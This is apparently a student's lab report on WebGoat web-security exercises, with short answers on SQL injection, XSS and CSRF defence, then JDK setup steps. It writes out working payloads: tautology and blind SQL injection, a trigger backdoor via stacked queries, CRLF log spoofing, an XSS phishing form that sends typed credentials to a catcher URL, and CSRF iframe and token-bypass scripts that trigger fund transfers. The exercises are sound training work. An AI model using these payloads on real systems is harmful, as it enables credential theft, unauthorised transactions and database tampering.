20154327 Exp9 Web安全基础
基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。 - 防御:
就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,';等关键字和特殊字符都过滤了,大不了抛出异常而已呗…… 或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)
(2)XSS攻击的原理,如何防御
- 原理:
XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。 - 防御:
与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。
(3)CSRF攻击原理,如何防御
- 原理:
跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。 - 防御:
使用验证码,表单中附加随机值,以此来防止冒充。
环境配置
去官网提供的GitHub上下载,那个速度是真的捉急,这里感谢下齐帅提供的
WebGoat8.0我后面自己下的WebGoat7.1密码: 4327
顺便附上自己在网上找到的
WebGoat中文手册以及WebGoat用户指南下载好后,使用命令:java -jar webgoat-server-8.0.0.M14.jar运行WebGoat
然后在浏览器中打开http://localhost:8080/WebGoat进入登录界面:
这里我的一开始一直显示 Firefox can’t establish a connection to the server at localhost:8080.
一开始以为是8080端口被占用了,利用netstat -tupln |grep 8080发现没有被占用,然后去从新看了下安装教程,怀疑是JDK的问题.
这里贴上一个自己安装JDK的教程,安装完后成功打开。
首先,去官方网站下载JDK1.8对应的版本
JDK将下载好的JDK包提取出来,解压出来文件夹名为 jdk1.8.0_172
开始拷贝目录 手动安装 (注意文件夹名根据自己的实际情况来设定)
sudo mkdir -p /usr/local/java
cp -r jdk1.8.0_172/ /usr/local/java/
- 如图
- 接下来配置JDK的环境变量
sudo gedit /etc/profile
- 复制以下内容追加到文件末尾(注意文件夹名根据自己的实际情况来设定)
JAVA_HOME=/usr/local/java/jdk1.8.0_172
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
如图:
告诉系统JDK的位置,最后2行代码不是重复,是要执行2次 。 (注意文件夹名根据自己的实际情况来设定)
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_172/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_172/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1
如图:
设置新的JDK为默认,代码也是执行2次(注意文件夹名根据自己的实际情况来设定)
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws
如图:
重载Profile文件
source /etc/profile
- 输入命令查看Java版本号
java -version
好了,至此,安装成功 !
尝试访问WebGoat,成功!
8.0的这里可以自己申请个账号,7.1的话有默认账号,用默认的就行。
成功登陆:
等开始做才做才发现,这是个大坑,由于WebGoat不同的版本课程都不一样,我在官网上下的是最新的8.0.0,网上找到的教程都是低版本的,高版本和低版本的操作完全不一样,只能参考着低版本再开着翻译做,但做完SQL之后WebGoat8便打不开了,可能是因为两个不共存的原因。
这里我用7.1重新做了一遍
Injection Flaws
Numeric SQL Injection
- 原理大概就是这里有一个SQL语句
SELECT * FROM weather_data WHERE station = [station]
可以拦截报文将station字段后补充成一个永真式101 OR 1=1。
但这里没有文本框让我们直接进行输入操作,只有一个滑动文本框让我们选择,这里提供一个简单的方法,不需要通过burp-suite,kali上自带的火狐开发人员工具调试,按F12或者右键审查元素打开。
于是整个语句就变成了
SELECT * FROM weather_data WHERE station = 101 OR 1=1
- 由于1=1恒成立,点击go,看到所有城市的天气,成功。
Log Spoofing
日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入
zh%0d%0aLogin Succeeded for username: admin
其中%0d和%0a为CRLF换行符,看到的输出为
第二行就是我们刚刚伪造出来的
XPATH Injection
- 题干的意思大概是你的账号是Mike/test123。你的目标是尝试查看其他员工的数据。
- 和上面一样,尝试构造永真式
yzh' or 1=1 or 'a'='a
- 成功:
String SQL Injection
- 字符注入,这里和前面数字注入的方法差不多,构造一个永真式,还是用的之前的'or 1='1
yzh' OR '1'='1
SELECT * FROM user_data WHERE last_name = 'yzh' OR '1'='1'
- 成功:
LAB: SQL Injection
阶段1:String SQL Injection
- 使用字符串SQL注入绕过认证,让我们可以登陆Boss(“Neville”)的账号。
- 类似之前利用永真式想办法绕过验证,修改password=' or'1'='1,结果登陆失败,审查元素将最大长度maxlength改为50继续,成功~
阶段2:Parameterized Query #1
- 这里需要WEBGOAT的开发者版本,先跳过了。
阶段3:Numeric SQL Injection
- 绕过认证执行SQL注入,使登录Larry账户,但是能查看Boss的信息。
- 还是和之前的想法一样,我们只需将employee_id参数修改为:101 or 1=1 order by salary desc
Database Backdoors
利用SQL输入插入后门,首先是一个SQL注入点,可以通过数字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水
在User ID输入框输入:101;update employee set salary = 65000 where userid=101; ,点击提交,如下图所示:
使用SQL注入注入一个后门,下边这个后门好象是创建新用户的时候会自动修改邮箱为你的邮箱
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.
- 点击提交,如下图所示:
Blind Numeric SQL Injection
- 数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。
- 使用盲注进行爆破,在“Enter your Account Number”输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 根据返回的提示来判断
“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000"
- 为真或为假,逐步缩小范围,最后尝试用2364进行请求,返回成功,然后把2364输入表单,提交,如下图所示:
Blind String SQL Injection
- 使用盲注进行爆破,在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
- 根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:
Cross-Site Scripting (XSS)
Phishing with XSS
- 使用XSS和HTML插入制作一个钓鱼网站,代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 成功:
LAB:Cross Site Scripting
这里通过6个阶段系统的介绍了XSS。
Stage1-4这四个步骤Stage5-6主要是介绍了储存型XSS,而Stage5-6介绍了反射型的XSS,步骤如下:
阶段1:
- 使用Tom登录,编辑用户信息,在Street字段输入以下代码:
<script>alert("20154327");</script>
成功:
阶段2、4、6需要开发者版本先调过了。
阶段3:执行一个先前的存储XSS攻击
- 使用“David”登录,然后查看“Bruce”的信息,即可完成。
阶段5:执行一个反射XSS攻击
- 在搜索员工页面使用脆弱性手工制造一个包含反射XSS攻击的URL。验证使用此链接的另一个用户被此攻击影响。
- 以“Larry”登录,在“Search Staff”搜索框输入“”。
Stored XSS Attacks
- 最典型的储存型XSS的例子——留言板
- 因为可以输入任何信息,如果有人进行了恶意留言,那么之后的人便会中招。
- 具体操作:
- 在Title里输入“Test Stored XSS”,在 Message里输入
<script>alert("20154327yangzhenghui!");</script>
- 如下图所示:
Reflected XSS Attacks
- 当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。
CSRF
Cross Site Request Forgery(CSRF)
实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
这里是一个储存型XSS和跨站请求伪造结合的示例,CSRF就是冒名登录,用代码伪造请求
在Title输入:20154327,在Message输入:
<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
- 点击“Submit”,在Message List下出现一条提交的记录,如下图所示:
CSRF Prompt By-Pass
- 在Title输入:20154327;在Message输入:
<iframe
src="attack?Screen=280&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
- 如下图所示:
CSRF Token By-Pass
- 在Title输入:20154327
- 在Message输入构造的代码:
<script>
var tokensuffix;
function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
}
</script>
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
- 点击Submit,然后在Message List里点击“CSRF Token By-Pass Attack”,如下图所示:
实验总结与体会
提交实验的时候发现,博客园居然也没有设防,下面是我上面钓鱼网站用的,直接就在下面显示出来了,有点恐怖啊兄弟。。。
这次实验一开始下载是最新版的WebGoat8,做完第一部分SQL注入实验后,想尝试下WebGoat7.1的SQL注入加深自己的印象,于是去网上下载了WebGoat7.1进行实验,但返回来继续用8往下做的时候,WebGoat8便提示:There was an unexpected error. Please try again。便只能用7.1一路做下去,将7.1上关于SQL注入攻击、XSS攻击、CSRF攻击部分能做的全部做了一遍,加深自己的理解。
Enter Username:
Enter Password:
20154327 Exp9 Web安全基础的更多相关文章
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20155312 张竞予 Exp9 Web安全基础
Exp9 Web安全基础 目录 基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 实践过程记录 WebGoat准备工作 1.XSS攻 ...
- Exp9 Web安全基础
Exp9 Web安全基础 20154305 齐帅 一.实验要求 本实践的目标理解常用网络攻击技术的基本原理. Webgoat实践下相关实验: [目录] [第一部分 WebGoat 8.0] 1.Web ...
- 20155205 郝博雅 Exp9 Web安全基础
20155205 郝博雅 Exp9 Web安全基础 一.实验内容 一共做了13个题目. 1.WebGoat 输入java -jar webgoat-container-7.1-exec.jar 在浏览 ...
- 20155339 Exp9 Web安全基础
Exp9 Web安全基础 基础问题回答 (1)SQL注入攻击原理,如何防御 原理:它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到 ...
- 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础
2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
随机推荐
- Web程序中打开QQ、邮箱、阿里旺旺等
在网页中使用链接打开QQ的聊天窗口有两种方式: uin的值为qq号 <a target="_blank" href="@Url.Content("tenc ...
- es知识点
版权声明:本文为博主原创文章,未经博主允许不得转载.转载请务必加上原作者:铭毅天下,原文地址:blog.csdn.net/laoyang360 https://blog.csdn.net/wojius ...
- 12.2Data Guard新特性--使用DBMS_DBCOMP.DBCOMP数据比较
Oracle Data Guard会主动对Hot数据(数据正被读取或修改)执行验证, 无论是primary还是standby,但对于那些Cold数据不会做任何检查和校验.所以在12.2版本 ...
- jsp 页面间传递参数
JSP页面间传递参数是经常需要使用到的功能,有时还需要多个JSP页面间传递参数.下面介绍一下实现的方法. (1)直接在URL请求后添加 如:< a href="thexuan.jsp? ...
- 转:HTTP Status 404(The requested resource is not available)的几种解决方法
原文地址 原因:servlet没有配置正确 ,查看web.xml确认正确,以及自己的请求路径正确 在IE中提示“404”错误有以下三种情况 1.未部署Web应用 2.URL输入错误 排错方法: 首先, ...
- MySQL 索引的介绍与应用
Mysql索引 一. mysql 索引 索引是对数据库表中一列或多列的值进行排序的一种结构,使用索引可快速访问数据库表中的特定信息. 二:MySQL索引类型 按存储结构区分:聚集索引(又称聚类索引,簇 ...
- September 17th 2017 Week 38th Sunday
Distance could make you forget about them, but the memories would always be there. 距离会让你遗忘,但是回忆却始终在那 ...
- 【原创】MySQL 生产环境备份还原
公司需要对生产环境的数据库进行备份,我接下了这份任务. 1. 首先谷歌了以下大家的备份方法 许多都使用到了Xtrabackup这个工具,超大型的公司可能有其他的的备份方法,这个工具对于中小型公司,甚至 ...
- 【转】Json判断是否存在某个属性和遍历各个属性和值
var field='uid'; var jsonObj={uid:'001'}; 一. jsonObj[field] != undefined //注意:如果field值正好是undefined那就 ...
- Java 替换空格
题目描述 请实现一个函数,将一个字符串中的空格替换成“%20”.例如,当字符串为We Are Happy.则经过替换之后的字符串为We%20Are%20Happy. 解一: 由于最近在学习Head F ...